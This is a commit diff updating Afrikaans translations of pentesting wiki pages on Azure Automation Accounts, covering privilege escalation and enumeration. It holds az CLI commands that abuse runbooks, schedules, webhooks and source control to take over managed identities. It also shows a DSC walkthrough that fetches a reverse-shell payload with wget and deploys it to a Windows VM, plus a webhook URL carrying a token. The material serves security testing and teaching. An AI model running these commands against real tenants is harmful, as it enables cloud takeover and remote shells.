Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 17:42:26 +00:00
parent 7ca46c01f0
commit 608a48718c
2 changed files with 31 additions and 33 deletions

View File

@@ -10,18 +10,18 @@ Vir meer inligting, kyk:
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
### Hybrid Workers Group
Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybrid worker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybride werker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
Boonop, as die hybrid worker in Azure met ander Gemanagte Identiteite aanheg, sal die runbook toegang hê tot die **gemanagte identiteit van die runbook en al die gemanagte identiteite van die VM vanaf die metadata diens**.
Boonop, as die hybride werker in Azure met ander Gemanage Identiteite aanheg, sal die runbook toegang hê tot die **gemanage identiteit van die runbook en al die gemanage identiteite van die VM vanaf die metadata diens**.
> [!TIP]
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanagte identiteite token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanage identiteite token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
As 'n opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Outomatiseringsrekening uit te voer en voorregte te eskaleer na die toegewyde **Gemanagte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is.
As opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Outomatiseringsrekening uit te voer en voorregte te eskaleer na die toegewyde **Gemanage Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is, te lek.
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Outomatiseringsrekening te wysig met:
```bash
@@ -64,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemming laat die gebruiker toe om 'n **gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met:
Hierdie toestemming laat die gebruiker toe om **'n gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -82,7 +82,7 @@ az rest --method PATCH \
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Skedule in die Automatiseringsrekening te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met behulp van die volgende opdrag.
Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms is.
Let daarop dat die **minimum interval vir 'n skedule 15 minute** is, en die **minimum begin tyd 5 minute** in die toekoms is.
```bash
## For linux
az automation schedule create \
@@ -127,7 +127,7 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met die volgende opdrag.
Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep met die volgende opdrag.
Let daarop dat jy moet **webhook URI** met die token aan dui wat gebruik moet word.
```bash
@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met behulp van die volgende opdragte.
Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met die volgende opdragte.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -194,7 +194,7 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dit sal outomaties die runbooks van die Github-repositori na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Dit sal outomaties die runbooks van die Github-repo na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word.
@@ -203,7 +203,7 @@ Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n best
### `Microsoft.Automation/automationAccounts/variables/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met die volgende opdrag.
Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met behulp van die volgende opdrag.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -228,7 +228,7 @@ As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit m
- Stap 1 — Skep Lêers
**Benodigde Lêers:** Twee PowerShell-skripte is nodig:
1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload haal en uitvoer. Dit is beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload haal en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Pasmaak:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
@@ -241,7 +241,7 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
```
- Stap 3 — Stel Stoor Konteks in & Laai op
Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
Die gecomprimeerde konfigurasie-lêer word na 'n voorafbepaalde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -251,11 +251,11 @@ Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer.
Die skrif is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer.
- Stap 5 — Publiseer Konfigurasie Lêer
Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM.
Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrif na die gespesifiseerde ligging op die Windows VM.
- Stap 6 — Gasheer Payload en Stel Luisteraar Op

View File

@@ -4,7 +4,7 @@
## Basiese Inligting
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (scripts vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
### Instellings
@@ -14,13 +14,11 @@ Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat
- **Verbindings**: Gebruik om **verbindinginligting** na eksterne dienste te stoor. Dit kan **sensitiewe inligting** bevat.
- **Netwerktoegang**: Dit kan gestel word op **publiek** of **privaat**.
## Runbooks & Take
### Runbooks & Take
'n Runbook in Azure Automatisering is 'n **script wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat.
Gaan na `Automatiseringsrekeninge` --> `<Kies Automatiseringsrekening>` --> `Runbooks/Take/Hibridewerkersgroepe/Watcher take/geloofsbriewe/veranderlikes/sertifikate/verbindings`
In die **kode** geleë binne **Runbooks** kan **sensitiewe inligting** bevat (soos geloofsbriewe).
'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in:
@@ -40,17 +38,17 @@ Daar is 3 hoofmaniere om 'n Runbook uit te voer:
### Bronbeheer
Dit maak dit moontlik om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie.
Om te verseker dat die geconfigureerde bronbeheer werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruikers MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
Ten einde vir die geconfigureerde bronbeheer om te werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruiker bestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruiker MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
### Runtime Omgewings
### Tydslope Omgewings
Wanneer 'n Runbook geskep word, is dit moontlik om die runtime-omgewing te kies. Standaard is die volgende runtime-omgewings beskikbaar:
Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope omgewing te kies. Standaard is die volgende tydslope omgewings beskikbaar:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -59,18 +57,18 @@ Wanneer 'n Runbook geskep word, is dit moontlik om die runtime-omgewing te kies.
- **Python 3.8**
- **Python 2.7**
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die runtime moet wees.
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydslope moet wees.
### Hibridewerkersgroepe
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibridewerkersgroepe gebruik. 'n Hibridewerkersgroep bestaan uit **een of meer Hibrid Runbook Workers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik gaan word. Daar is 2 opsies:
Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
- **Standaard geloofsbriewe**: Jy hoef nie die geloofsbriewe te verskaf nie en die runbooks sal binne die VM's as **Stelsel** uitgevoer word.
- **Spesifieke geloofsbriewe**: Jy moet die naam van die geloofsbriewe objek binne die automatiseringsrekening verskaf, wat gebruik sal word om die **runbooks binne die VM's** uit te voer. Daarom, in hierdie geval, kan dit moontlik wees om **geldige geloofsbriewe** vir die VM's te **steel**.
Daarom, as jy kan kies om 'n **Runbook** in 'n **Windows Hibridewerkers** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (mooi pivot tegniek).
Daarom, as jy kan kies om 'n **Runbook** in 'n **Hibridewerkers** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (lekker pivot tegniek).
Boonop, as die hibridewerkers in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
@@ -80,13 +78,13 @@ Boonop, as die hibridewerkers in Azure met ander Bestuurde Identiteite aangeheg
### Toestand Konfigurasie (SC)
>[!WARNING]
> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskaf word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskakel word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **DSC konfigurasies te skep** en toe te pas op **Windows** en **Linux** masjiene.
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om **te konfigureer** en **die toestand** van jou VM's te **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat die vermoë bied om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer** wat toegelaat het om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, potensieel te pivot na nuwe netwerke... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
## Enumerasie
## Opname
```bash
# List Automation Accounts
az automation account list --output table
@@ -170,7 +168,7 @@ az rest --method GET \
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"